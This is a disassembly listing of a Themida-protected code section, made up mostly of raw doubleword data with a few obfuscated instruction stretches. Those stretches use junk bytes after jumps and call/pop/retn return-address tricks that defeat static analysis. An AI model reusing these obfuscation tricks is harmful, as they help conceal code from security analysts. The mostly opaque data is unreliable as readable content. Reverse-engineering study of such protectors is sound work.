		dd 0B70F0614h, 0B19531FEh, 81061001h, 100055BDh, 7D006h
		dd 2B860F00h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 4773C356h, 0CB53AF02h
		dd 0D90C0939h, 0F9DE8166h, 7D9D8B94h, 29061029h, 101B1D8Dh
		dd 0E38106h, 66000001h,	0DB0BFB8Bh, 9D850Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0BD8BFDC3h, 6102815h, 83FB8B66h, 14267CBDh, 840F0006h
		dd 38h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh
		dd 67C35545h, 0C9EEBDF5h, 0E98F8CEDh, 51h, 0BE9h, 85562400h
		dd 3886B28Bh, 0EEF56EEFh, 267C85C7h, 10614h, 0B58B0000h
		dd 6101481h, 2CE9h, 9D896000h, 610309Dh, 11E9h,	2018FD00h
		dd 0B6D40AA6h, 324B2D08h, 65116F18h, 0C7618330h, 14267C85h
		dd 6, 70BF6600h, 7D9D8DEEh, 81061029h, 0CB7286DFh, 0FF238145h
		dd 6AFFFFFEh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0F142C353h, 8D34AD49h,	0F7D4724h
		dd 8C66F9BFh, 55006ADBh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 51D5F790h, 157C1134h, 0B260521Eh
		dd 61E18ABEh, 0FDBD8B5Fh, 0F606102Ah, 840F04C3h, 72h, 0DC995FFh
		dd 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 2EBAFCC3h, 880E05C2h, 8D8960A4h, 6100B8Dh
		dd 6D56EF81h, 90610135h, 5350F78Bh, 6A905Eh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0E96030C3h
		dd 0Fh,	0F22DF9DDh, 249CB630h, 0A84B5B4h, 0B310B0DAh, 0DE9610Fh
		dd 6A000004h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 1E95C350h, 0B5059322h,	0F0F9966Bh
		dd 108D8529h, 0B00610h,	5359D01h, 70E60610h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0EAC35242h, 82BF9946h
		dd 2B34F3F2h, 10087DB5h, 5271E406h, 1695BD8Bh, 665F0610h
		dd 0F71F3BFh, 6AD8B6h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 7DF31C3h, 0F3969E9h, 6BAh, 0E9C38B00h
		dd 9, 541B94D6h, 298F0C97h, 4E8C17Fh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0DEC35343h,	0FDB58BA1h, 0F061001h
		dd 38Dh, 0F0B70F00h, 6AE2F766h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 9719C350h, 11DDA27Bh
		dd 8964126Bh, 10142D8Dh, 6AD82B06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 41FAC352h
		dd 19878115h, 3BE8838h,	5069DCD4h, 11E9h, 9310C100h, 4074A9F3h
		dd 0E4351E5Eh, 0EA385BF1h, 1C890AA0h, 52006A24h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
		dd 209A1BB2h, 66B151C8h, 4D5FEF81h, 0FFFFB70Fh,	100055B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 87073DAh, 850F89D7h, 1, 0C995FFF9h, 6A061031h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 9188C355h, 0B5332F1Ah, 6100805h, 1FF1BD89h
		dd 0B00610h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	9C35545h, 99CB7383h, 11E9h, 378A7200h, 93EB3A99h
		dd 0DDD2343Ch, 0C0A36D01h, 70E62039h, 0A122BE66h, 6A71E4h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0BF804AC3h, 0F90882E8h, 613C4AE2h, 1D2830Fh,	6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0E97BB4C3h, 3C2D0B45h, 66D8B60Fh, 0C45DF81h,	6BAh, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0D9792071h, 0F69B58Bh, 0C38B0610h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0D0C35242h,	0AEB82D8Fh, 54BE6607h
		dd 4E8C101h, 29B9B58Bh,	0F7660610h, 5CBF66E2h, 59BD0B94h
		dd 2B061021h, 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0D4807909h, 0EFFDCD74h, 9D95895Dh
		dd 58061008h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 17h,	1C35040h, 2BEAD191h, 0ED880FD8h, 8B000000h, 1011DDBDh
		dd 7B906h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0AE88C8C3h, 0AC8F6917h, 0CE9A5h
		dd 0CB490000h, 0F12DFE8Fh, 7ED09C22h, 5BBF061Ah, 8355A657h
		dd 8B6600C1h, 0FD93BF8h, 9B86h,	21B58B00h, 6606101Eh, 0CE9D98Ch
		dd 59000000h, 0BE7A2DB1h, 0EC2CA9FBh, 0F62D593Bh, 840F04C1h
		dd 55h,	7A64BF66h, 95FF5F52h, 6100DC9h,	3DECBE66h, 0F781665Bh
		dd 81667B1Ah, 2BED8FD7h, 50006AC3h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0E72A8FB7h, 4F0CD715h
		dd 8343Dh, 0A860F00h, 0E9000000h, 28h, 0F1B70F57h, 6AC08B5Eh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 66A8C353h, 3E86F681h, 0D88BC38Bh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 36C35343h, 20169E43h
		dd 85C74974h, 6100041h,	521E0B13h, 0EDD8509h, 8D0F0610h
		dd 6, 8952CE81h, 0C08B781Ch, 6840Fh, 85010000h,	6101395h
		dd 55BD81h, 7D00610h, 850F0000h, 2Ah, 5585FFh, 6A0610h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 7C2C59C3h, 3ECDC766h, 0B5FFD995h, 6100055h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 89C35040h, 5C556B62h
		dd 0C995FF6Ah, 89061031h, 1029E995h, 8B669006h,	58BE66F3h
		dd 5D8D8925h, 8B061013h, 101E71BDh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0E96ED1ADh
		dd 0Ch,	8F330EBEh, 0FAEC5DD6h, 28C1A416h, 6AFB8Bh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0A6F984C3h, 0DB640941h, 81664AD2h, 946BEEEh,	10117595h
		dd 0FEBF0F06h, 1715B531h, 8E0F0610h, 9,	2D219D89h, 8B660610h
		dd 5860FFBh, 0BF000000h, 79151FB9h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0FAC35747h,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 16h, 64C35141h, 6060B220h
		dd 0B2EA8166h, 0F18D8BC4h, 5706100Bh, 0EDB86659h, 880F61CEh
		dd 3, 8ACEB70Fh, 9D8961F1h, 6101BD5h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 89C35747h, 2B551838h, 395BE0C9h
		dd 0DE9F9h, 0BF610000h,	8DC2E6C3h, 940550F2h, 8961BE40h
		dd 101D518Dh, 0F7F8E906h, 7BFFFFFh, 8B213245h, 10126DB5h
		dd 6A6006h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 973AFDC3h, 38C3B962h, 16C1B531h, 0FEB90610h
		dd 6AFFFFFFh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 333C353h, 86EAEE2Ch, 0DE8120h
		dd 2139EBD8h, 1005298Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 87DFB1FBh, 818D21D7h
		dd 6A061023h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 68F4C356h, 54DD37AEh, 0BB2F44A1h
		dd 752DA2DEh, 1E718589h, 8D8B0610h, 6100529h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0F1C35343h, 2F1FCF63h
		dd 8B506959h, 101DA985h, 0E1835B06h, 41850F01h,	6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0C7DAC352h, 0BC2554F1h, 1606931h,	101DFD9Dh
		dd 11E906h, 0F7170000h,	52BB6052h, 0CD20453Ch, 3EDEC2F1h
		dd 61C71EA0h, 23818D8Bh, 6A0610h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0E183CBC3h, 27850F01h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 0F051C352h, 0C50CD5A8h, 29BBF081h
		dd 60617F95h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 16h,	0E6C35646h, 8F0F658Bh, 0
; ---------------------------------------------------------------------------
		mov	ecx, 0FFFFFFFEh
		jmp	loc_58E60F
; ---------------------------------------------------------------------------
		mov	esi, 743F1A81h


loc_58E60F:				; CODE XREF: Themida_:0058E605j
		mov	[ebp+61010E1h],	esi
		and	[ebp+6102801h],	ecx
		jmp	loc_58E62B
; ---------------------------------------------------------------------------
		pop	esi
		adc	al, 71h
		cmp	[edi-48h], eax
		push	0D0A33DF2h


loc_58E62B:				; CODE XREF: Themida_:0058E61Bj
		and	[ebp+6102AB1h],	ecx
		push	0
		push	ebp
		call	sub_58E63C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58E63C	proc near		; CODE XREF: Themida_:0058E634p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_58E63C	endp

; ---------------------------------------------------------------------------
		dd 93AEEC11h, 21BD8971h, 8B06102Ah, 1028018Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 61958B17h, 8306101Ch, 850F01E1h, 2Ah, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 18h, 5EC35747h, 0B738FEA0h
		dd 860FFA8Ah, 2, 8D8BFE8Bh, 6102AB1h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 56C35242h, 0DA96EADEh, 79B58B74h
		dd 83061021h, 850F01E1h, 24h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 0AFC35343h,	11A1B589h, 0C38B0610h
		dd 0FEB96061h, 6AFFFFFFh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 369BC357h, 7D8D2196h
		dd 0E9061029h, 0Eh, 0B619FD3Fh,	78C72B3Bh, 63606A91h, 8D21B66Ch
		dd 6102875h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	26C35646h, 9EEA81D3h, 8B16731Eh, 10297D8Dh, 6E906h
		dd 997E0000h, 3B49B763h, 0F01E183h, 2485h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 890F2C2Ch, 1, 758D8BF8h, 6A061028h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0FAE2C352h
		dd 8B67172Ch, 10E18D89h, 0E1830610h, 1F850F01h,	57000000h
		dd 178A0Fh, 11E80000h, 0A7000000h, 0FD0EA0CEh, 902B5612h
		dd 48D0B60Ch, 882EA02Eh, 60615A5Ah, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 0ABC35141h,	8E9666EDh, 0B9F3D589h
		dd 0FFFFFFFEh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	0B2C35040h, 19A4EEDEh, 89E6C86Fh, 0A58D21FDh, 6A06100Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 969DC357h, 0CC3466ABh, 21208ECFh,	1000418Dh
		dd 0A58D8B06h, 8306100Bh, 850F01E1h, 0Ch, 1915B533h, 0B5090610h
		dd 610161Dh, 418D8Bh, 6A0610h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 6A2910C3h, 0E183FC68h
		dd 2850F01h, 0B4000000h, 6A60618Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0CEF2C357h
		dd 8E96A45h, 2D000000h,	0AD730D34h, 8B073306h, 10191D8Dh
		dd 5585C706h, 0D0061000h, 6A000007h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 237C356h
		dd 55AA2C3Fh, 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 4A0078F0h, 0E69B8086h, 0B70FD7AAh
		dd 6107EBF0h, 0E99Dh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 16C279C3h, 22D0307Ch
		dd 6ACAAE05h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 7FD5C355h, 9D89573Eh, 61021B1h
		dd 68D0Fh, 0B5310000h, 610284Dh, 6060C18Bh, 0C6816653h
		dd 0F5EA0AEh, 488h, 0FBBB6600h,	0C08B6137h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 60C35343h, 11E8DAh
		dd 0C2E0000h, 0CBC00574h, 151E3E94h, 9C04E968h,	0FBD55D2h
		dd 185h, 835EF800h, 10158DBDh, 9750006h, 95BD83h, 74000610h
		dd 8B535019h, 438B8C0h,	85890000h, 6100E65h, 0B8159D8Dh
		dd 0D3FF0612h, 0BD83585Bh, 6100095h, 50177400h,	438B853h
		dd 85890000h, 6100E65h,	0B5049D8Dh, 0D3FF0612h,	6A585Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 5FECD0C3h, 4BB3DC9Ah, 0E952A808h, 0Ah, 6AD23B0Fh, 0B20417A3h
		dd 6A5EF3B9h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0E93BC357h, 0F9EA2305h, 8BF2861Ch
		dd 81BD89C0h, 0E806102Fh, 844h,	89CBBF0Fh, 10282185h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0B491BAA1h, 0CF8166E0h, 66601971h, 0B953C38Bh, 0E6ED47Fh
		dd 5E86159h, 89000008h,	102ED995h, 8589FC06h, 61030C5h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0ADC35646h
		dd 0F180BFD5h, 7D2E8BFh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 295E25C3h, 2DD16AB8h
		dd 8589531Ah, 6101211h,	13E8h, 0A859F00h, 0F64B81F1h, 6129093Ch
		dd 44A0E49Eh, 89E25E7Ch, 29618D89h, 8B590610h, 782E8F1h
		dd 870F0000h, 17h, 9E860h, 0D6E40000h, 54A4914h, 587E11C6h
		dd 86D958Bh, 89610610h,	1011ED85h, 0E8CB8A06h, 758h, 1EC58D8Bh
		dd 85890610h, 6100BB9h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0FDC35747h, 0B962973Ah, 6A0238C3h, 723E8h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 25B537F6h, 0B70EC33h, 2D8589AEh,	6A061023h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0D28FC356h, 57095296h, 0D1E80642h, 6A000006h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8B33C352h, 1012E58Dh, 0CD858906h,	3061000h
		dd 100D9DB5h, 69EE806h,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0D14238C3h, 65F51FB5h
		dd 89D67D9Ch, 1004E985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 1FC84E4Ch, 0EDF0BCAEh
		dd 64BE8h, 0F0BF0F00h, 1D898589h, 6A0610h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 77E055C3h
		dd 6ED1ADD4h, 0CABF0F07h, 617E8h, 8589F500h, 6102ED5h
		dd 1C618D33h, 0B70F0610h, 602E8CBh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0E96D91C3h
		dd 14h,	6DAB73E3h, 0BF54C3B5h, 0AD58DF9Ch, 181CEB4Dh, 0AEF3A229h
		dd 8589CF8Bh, 6101F51h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 0F3C35141h, 0E98147BCh, 7F3CB052h, 59BE8h
		dd 89CF8B00h, 10060595h, 25858906h, 6A06101Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 9A7DC351h, 564207F2h, 0D59589DBh, 0E806102Ah, 560h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 4C35141h
		dd 150533ECh, 8533606Dh, 610136Dh, 89610FB1h, 100EA585h
		dd 29E8FC06h, 6A000005h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 807DC352h, 0BE50FC28h
		dd 2CD4285Dh, 0A185895Fh, 0F061008h, 0F5E8F9BFh, 6A000004h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 8A7AC350h, 3A6CC78Fh, 8D8BE440h, 6101D05h
		dd 8658589h, 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 8D17A2C3h, 805A4BF5h, 9DE801C1h
		dd 6A000004h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0FD53C355h, 8962C745h,	0CD1A7F11h
		dd 81666060h, 8B4785CAh, 100CA9B5h, 0B58B6106h,	6102109h
		dd 5820F61h, 0B9000000h, 43DA9E39h, 4A58589h, 8D010610h
		dd 6103035h, 6A00B0h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 28A8CDC3h, 0D810FABh, 60000000h
		dd 0E7C819B9h, 0D98D8B67h, 6106101Fh, 0D8B60FFCh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0B6C35545h, 326E97Ah
		dd 950957B1h, 6100A55h,	6BAh, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0E3278E4Ch
		dd 8BF8FB9Bh, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 10E94Eh, 70700000h, 4FE7344Fh, 1CA4C3C5h
		dd 199EFC43h, 0E8C19991h, 0BE804h, 62590000h, 727DE0DBh
		dd 452EC731h, 11E88Ah, 41710000h, 8320DBA2h, 0BAE34B8h
		dd 0F078C05Ch, 596B4509h, 0E2F76659h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 75C35545h, 6890Fh, 0BD8B0000h
		dd 6101B71h, 1DCE8166h,	58A0FF6h, 66000000h, 0C9D8E981h
		dd 0BF0FD82Bh, 506050CEh, 0F5CB452h, 4FBA6631h,	60585A77h
		dd 0DE9h, 0B6A15600h, 83D55993h, 6FD9AB5Fh, 61613C08h
		dd 81241C89h, 54C177E6h, 0C995FF63h, 8906100Dh,	10303595h
		dd 6E95B06h, 0E4000000h, 3E41353Dh, 0B5958D21h,	6A061016h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 12C350h, 5DB22064h, 7281E650h, 8E9h, 0B97C9500h
		dd 861363D5h, 6A1A89FFh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0FBF6C355h,	62BD21A1h
		dd 2B249A97h, 102FE18Dh, 4428906h, 68B0Fh, 8D8B0000h, 6101101h
		dd 20A1958Dh, 1A890610h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 16h, 4C35040h, 8E80E7Dh, 5B000000h, 0B58ECAD2h
		dd 0FE575A6h, 8B59FFB7h, 101AC5B5h, 4428906h, 22858D8Bh
		dd 958D0610h, 6102D89h,	0BE9h, 0F1C57500h, 8C385D4Ah, 0D8E3F668h
		dd 0BE661A89h, 428902B1h, 56006A04h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 8B669125h
		dd 5958DF0h, 52061001h,	20E1B58Bh, 895E0610h, 56006A1Ah
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0A3D09778h, 0A17E19B5h, 6A044289h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 1A4BC350h
		dd 2E018D89h, 958D0610h, 61010B5h, 0E35BD89h, 1A890610h
		dd 2DC5BD8Bh, 42890610h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 14E9D252h, 5E000000h
		dd 824AB473h, 9E79EA2h,	0AE23992h, 29F53BC8h, 8DE95485h
		dd 10098995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 0E9902775h, 9, 0C1043C83h, 0E523CE08h
		dd 6A1A89ABh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0B78EC350h, 0BABF668Ah, 44289BEh
		dd 13E9FCh, 583F0000h, 7F98808Dh, 3AE8C79Bh, 0FAB6A6D4h
		dd 0ED3571D8h, 49958D40h, 6A06102Dh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 727DC351h
		dd 452EC731h, 31E6C08Ah, 1028458Dh, 6A1A8906h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 2DDBC355h, 0C6E4244Ch, 0B58BB112h, 6102825h,	66044289h
		dd 5BD3F781h, 69958Dh, 8E90610h, 9C000000h, 6CC9DF93h
		dd 89FCF4F4h, 56006A1Ah, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 6D8621A8h, 735DE762h, 1DD180FDh
		dd 8B044289h, 1007298Dh, 11DE906h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0B65D50C3h
		dd 0E52F9B27h, 0FB8B693Fh, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0BD8B01C3h
		dd 6100661h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 66194DC3h, 8146DE1Ah, 0A0DD3EC1h
		dd 6A006A25h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 3EEFC352h, 0FD055C7h, 0BD23C8BFh
		dd 61000E9h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 112B5DC3h, 6A935929h, 0CFBF0F3Ah
		dd 2EC995FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 53277EC3h, 53B5FD83h, 0C3F494A9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 75C35040h
		dd 0BD8B6046h, 6101D21h, 595BD29h, 8A610610h, 53006AC5h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0F781E5F1h, 66256F0Ch, 3BFFF181h, 6E860h, 5FB50000h
		dd 0B4BCD2EDh, 6D01E281h, 0F5E4349h, 68Eh, 81BD8B00h, 61061021h
		dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0AFACB9C3h, 8DBD835Dh, 61015h, 0BD830975h
		dd 6100095h, 50197400h,	0B8C08B53h, 438h, 132D8589h, 9D8D0610h
		dd 612B87Ch, 585BD3FFh,	95BD83h, 74000610h, 0B8535017h
		dd 438h, 132D8589h, 9D8D0610h, 612B51Dh, 585BD3FFh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 9EC35646h, 89D7D840h
		dd 1029A9BDh, 66FC6006h, 70B7F181h, 0B5295761h,	61015C1h
		dd 8DC08B5Eh, 1013B985h, 9E806h, 9AB00000h, 0A480A937h
		dd 66A2513Bh, 5F6317BFh, 8950DE8Bh, 6A2404h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 39DCFC3h
		dd 6646D676h, 6A8888BBh, 81BD8B00h, 0E906100Bh,	0Dh, 0A19FAA3Eh
		dd 59E41Dh, 0ED5502A5h,	60006A60h, 0BE9h, 2C31A900h, 0B97A994h
		dd 620BE457h, 0AE9h, 8D1E6600h,	0CC306876h, 61EE3B8Bh
		dd 858D85B3h, 61442BDh,	83FBB70Fh, 6A05C0h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0E989AAC3h
		dd 815773ABh, 556A68D3h, 3605F4Ah, 10278185h, 0F9858906h
		dd 61061018h, 8B666090h, 54DCBFF8h, 50616188h, 0DE8h, 6249DC00h
		dd 5EDF72ABh, 0F2CF00E3h, 11E9EC2Ah, 2D000000h,	81810707h
		dd 0E0FD647Bh, 0F1E8A44Fh, 730BE397h, 6A905Fh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0BCE42AC3h, 7D058B46h, 9D8B09C5h, 6103115h, 0CE8h, 39920900h
		dd 3BC80AE2h, 548529F5h, 6A5FF9E9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 66463877h
		dd 6ADA8Bh, 0A0DF8166h,	1995FF45h, 6606101Dh
		dd 0D16CD381h, 0AFD88D8Dh, 6A0613h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 724824C3h
		dd 0BC92CA2Eh, 0D1FF04F4h, 10E8h, 4477D000h, 76A614B5h
		dd 9DB26053h, 0ECD77548h, 0BD8B5B34h, 6102255h,	2209BD83h
		dd 0F010610h, 8385h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 969294DFh, 0DF8B6612h
		dd 9D8B026Ah, 61001FDh,	24048950h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 1FC35646h, 5AABCA31h, 0BC4C05B8h
		dd 95C7806Eh, 49595FFh,	6A0610h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 1DF288C3h, 2C3F0237h
		dd 0FA8B55AAh, 0D13E9h,	0E800h,	815D0000h, 1442C7EDh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0F88A35FCh, 8DD88B66h, 1399B685h, 13E806h, 0D40C0000h
		dd 0DE54D4A0h, 5DFA7D98h, 0DDFC58A8h, 44656D9Bh, 7BF38123h
		dd 5B20E460h, 50D88B90h, 0DC1ABB66h, 52006A90h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 33359783h
		dd 45E78166h, 35FF647Bh, 0
		dd 12E8h, 266B2500h, 9A4D026Dh,	0F1267722h, 0EA01D065h
		dd 6683BCCFh, 0BDEAE781h, 2589645Fh, 0
; ---------------------------------------------------------------------------
		sub	[ebp+6100081h],	ecx
		inc	dword ptr [ebp+6101419h]
		push	0
		push	ebx
		call	sub_58F7EF
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58F7EF	proc near		; CODE XREF: Themida_:0058F7E7p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_58F7EF	endp

; ---------------------------------------------------------------------------
		sub	ah, [ebx]
		cmc
		mov	[ebp+6101929h],	esi


loc_58F808:				; CODE XREF: Themida_:loc_590413j
		push	0FFFFFFFFh
		push	0
		push	eax
		call	sub_58F815
